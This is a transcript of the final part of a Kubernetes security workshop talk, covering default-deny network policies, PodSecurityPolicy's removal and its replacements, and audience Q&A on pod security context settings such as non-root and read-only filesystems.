earlier, again, coming from a developer background, developers, I don't know why we have this aversion to network policy or network firewalling, or if you come from the VMware space, the, what does NSX call it? They call it the micro segmented distribution, you did firewall, right? It sounds so complicated and oh my gosh, tags and selectors and what, it's not. You're basically, if you've not, I don't know if anyone here has not done network policy, but the basic network policy, not even getting into custom CNIs, what they provide on top of it, but you're basically just saying, hey, this is the pod selectors for what can and can't talk to each other, and I like the standard deny everything and then only allow the pieces you want. That's my go-to. For example, this network policy, that one right there, that's the denial, that's saying for every pod, that's the wild card for every pod, set up empty ingress and egress, so it's completely broken. Technically, you probably need egress out to DNS because you can't do service discovery, but that's, you know, you'll need that. But other than that, all I then would add in this case would be I need ingress to 5,000 on TCP, and that's all I need. I don't want anyone connecting to any other ports. I don't want any egress out of this app because it's like a static hosting kind of a thing. If this was a two-tier app, maybe I'd have an egress just to my backend namespace or to my backend pod selector, and then I wouldn't have any access, maybe between web tier, so if I'm running five replicas, there's no reason unless I had a distributed caching system and built in for them to talk to each other, so don't allow that. All sorts of stuff. Now, that's easy to say as the person up here just giving a demo. Real world, you probably have APMs and other things that have connections from your apps coming back and things that are specific to your organization that you need done blanket across. There are some, we'll talk about, I think on the next page, I have some interesting mitigations for that, but you gotta take that into account, so you gotta make sure you're not gonna break your, not to throw vendors out there or anyone, but like your Dynatrace or whatever. Whatever you got running, you wanna make sure you're connecting to all the things you need to connect to, but that should be well known for your developers anyway because they're doing it in the agent strings for their apps or whatever. So, that appears to be duplicated. I'm gonna skip that. So, let's talk PSP. So, as I said, PSP was removed in v125. It was deprecated two years ago, and so it's been coming, it's been coming, they finally removed it in 125. Again, I showed it here because people don't upgrade immediately to things and PSPs are still gonna be out there. However, you should be migrating off, and you should, if you're working with a team that is still using PSPs, you should be at least planning to get off of them, and the six security folks, Tabitha and other folks have a good blog about kind of the history of this. If you're curious, why did they deprecate it? What was the plan for the future? And then, of course, the Kubernetes docs talks about what to go to. So, as pod security and mission is kind of the new replacement for it kind of sort of, it doesn't do everything PSP did, but it's kind of a new take on how to do this kind of security. However, most shops that I've seen or the people that I've talked to are replacing it with either Kyverno or OPA with Gatekeeper, an emission controller. And PSA is an emission controller. And pod security policy is an emission controller, for that matter. But having policy management systems like Kyverno or OPA or whatever allow you to have centralized policy on all of this stuff and enforce it across your cluster, and it's much more flexible, and you can block all of these kinds of things with any of these kinds of tools. So, take a look at those. There's, I mean, since I've written this page, there's probably 18 more blogs you could add to this because once 125 went live, it's quite common to need to do that. Network policy complexities. Some references that you can point your developers to if they are trying to learn network policy. The kind of the Bible, the recipe guide. I'm at Al Balkan's Kubernetes Network Policy Recipes. Let me go ahead and click on that because this is a nice, simple listing of ideas with most of them having animated graphics showing the policy we're talking about looks like this, Ingress egress. So, for instance, let's look at, I'll pick one that doesn't have a graphic across this. Let's see, limit traffic to an application. This one does. So, this is a restrict traffic to a service, blah, blah, it's showing that Ingress from app coffee shop in is blocked but app bookstore in that selector works, that selector doesn't, and then it shows you the actual policy. So, this is a nice resource. The Syllium folks have a really cool visualizer if you go to networkpolicy.io, you can craft network policies and it'll show you how it looks. CNIs have their specific policy. So, if you are a Syllium shop or a Calico shop or insert the name of your favorite CNI, almost all of them, it's maybe, well Flannel doesn't have network policy so not that one, but all the rest have their own network policy additions, extensions that do things. For instance, Calico will have a cluster-wide policy option where you can apply things not just at the namespace. Syllium has the same kinds of things. So, take a look, generally your CNI is gonna be picked for you if you're a developer you don't normally get to pick your CNI but you should learn what your CNI offers and weigh the benefits or costs of using specific CNI functionality because you are tying yourself to that CNI when you do so. The network policy, NextGen folks are doing similar things to try to take some of those cool extensions and make them part of the main spec. I've not been following that SIG or TAG. Be interested to see where they are with that but it's a good group to go listen to if you want. So, that's the network policy plus-plus comments. There's another cool one here. I've never seen actually at anyone I've talked to use but I've read blogs on this and that's a link to a blog. Hierarchical namespaces. Anyone used hierarchical namespaces here? No, I'm not running at anyone using it. It sounds really cool though. It allows you to have hierarchical namespaces which allows you to set workloads in a kind of a subtree pattern where you could set ingress and egress rules that apply to all the namespace that are downstream from it. You've got a parent network policy, propagates to its children. Sounds really cool. I'm not consulting anymore so I've not had time to go try this at any once. But take a look at the, what that links off to the project actually. It's not a blog. There you go. So that's an interesting idea for especially for handling that issue where everybody in this company must connect to our APM server so you could use something like this to implement that. That's a to do. And finally, community resources, obviously Kubernetes security. I'm in there often. This is where a lot of discusses, a lot of the things that you see here came from discussions there. CNCF tag security, which runs this conference, if you're not attending tag security, it's not a bad thing to lurk on at least and get in there. I tried to go to that as often as I can. SIG network for the network stuff I was just talking about. And then the OpenSSF, if you get outside the CNCF world, the OpenSSF talks a lot of really cool stuff, also Linux Foundation owned. And that's the end of the workshop itself. And I have left us 15 minutes for any questions. I can try to get this, the actual, I can bump down to 123 real quick and try to get the finish, the demo for you. But I'm thinking maybe if you've got questions, that might be a better use of our time. No questions? There's one. So the question is, could we have saved a step because we had so much access in the secure named namespace, could we have edited the pod security policy there to give us privileged access possibly? That's a good, I should try that. I should try that and I should change my demo then to make sure you don't have that much access. But yes, that very likely. Hopefully you don't. That would be one thing that you would think out you would specifically not. That's a good one though, I like that. Any other questions, comments? Say again? That's a good question, let's click on it. I haven't looked at it in a little while. This is, should say in here, right? Overseen by working group multi-tenancy. I'm not sure. It's been around a while though. It's probably still an alpha, whatever it is. I'd have to look it up. I'm not gonna do that up here, but yeah, go take a look. I'll find out later today and I'll tweet it out or something. Any other ideas that we could have blocked this early beyond these? Good question. So the question is the run is non-root stops the container from starting as root. The escalation privilege being not there allows you to elevate privilege, run an SUID to become elevated privilege or basically root. What's the point of doing one without the other? There are processes who need to elevate privilege. I'm trying to think about it. Ping used to need it, but now it uses the capabilities to do it, but there are processes that need to become root quickly to grab a low port or do whatever they need to do and then they drop right back down. If you set that elevation to false, it will not be able to do that anymore. But your point is valid and then I think you're right. I think you should always have both unless you absolutely need one or the other. The main thing with the run is non-root is if I'm root in a container, even if I wasn't trying to do end map and do that, I can still do other things like I can, let's say I've got a standard Debian base image that has the full APT in it. I can install software if I've got access to an app repo because I'm root because I can do whatever I want in that container then and I'm the UID zero. If I found another volume mount, maybe it's not a privileged one, maybe it's not a root mount like that, but if somebody has mounted another file system in, I'm UID zero in that mount. So now let's say there's sensitive information, application configurations that I shouldn't be able to read as the normal user, but I can because I'm UID zero. So there's that. Now, there's also username spaces, which is a whole nother ball of wax we can talk about which someday will have, which allows you to the map username spaces so that you're no longer root in a container, no longer means root on the host. That's a whole nother scope that I'm not gonna tackle right now. Other things that I didn't talk about capability, I mean, security context, that whole API for your pods, learn it, understand what the different things in there do like capabilities. A lot of time you can deny capabilities because your app doesn't need them. If you're not doing low-level networking things, you don't need extra networking capabilities for your process. A lot of business apps, you can just deny all and they'll run just fine. You need to test that. You didn't make sure your app can run that way, but if you're in a microservice type of environment with a tiny app, that's not a hard thing to figure out. Immutability is important. I talked about read-only root file system. That's one of my favorites is because it's an easy one. Generally, if you're truly writing microservices, they're gonna be immutable because it's one of the 12 factors. It's supposed to be following the 12 factors, right? That makes Kubernetes more easily able to move things around if your containers don't have state in them that they care about. Now, that's easy for me to say here, but then I step back into my last roles as a developer where I'm writing Tomcat apps that are dropping log files and work directories all over the place, so you gotta make sure your mounting volumes are doing whatever you need to do to make your app run. But honestly, that's things you should probably be migrating away from anyway in modern apps. Read-only root file system is one of my favorites because without it, it makes it harder. It's not a silver bullet, but it makes it harder. I can't download a script and start Bitcoin mining. It's as easy if I can't modify your file system. I mean, I got the temp file system, maybe, but just every little thing you do makes it a little harder. It's kind of like in the old days when you have the club on your car, it's not gonna stop a thief from stealing your Ferrari, but if it's on a Civic, maybe they're gonna look at the next car. Okay, well, with that, I am going to call it done unless you have anything else. I'm gonna let you out early. Thanks. Oh, one other thing. I actually do have a slide that I do very much care to show if I can get my browser back up here. Get past all, see, I have all these slides that we're all in the GitHub repository, so you don't need them. That's all what we just talked about. I just wanna give thanks, first of all. So the people listed here plus a ton more, a lot of the content you saw here is gathered from calls and blogs and discussions had with folks like this, people in Six Security, Tag Security, I just wanna thank them all because we all learn from each other. And we do have this QR code if you want to give feedback to the people running the show, they will take that. I am Eric Smalling on all the socials. That's it. Thanks again.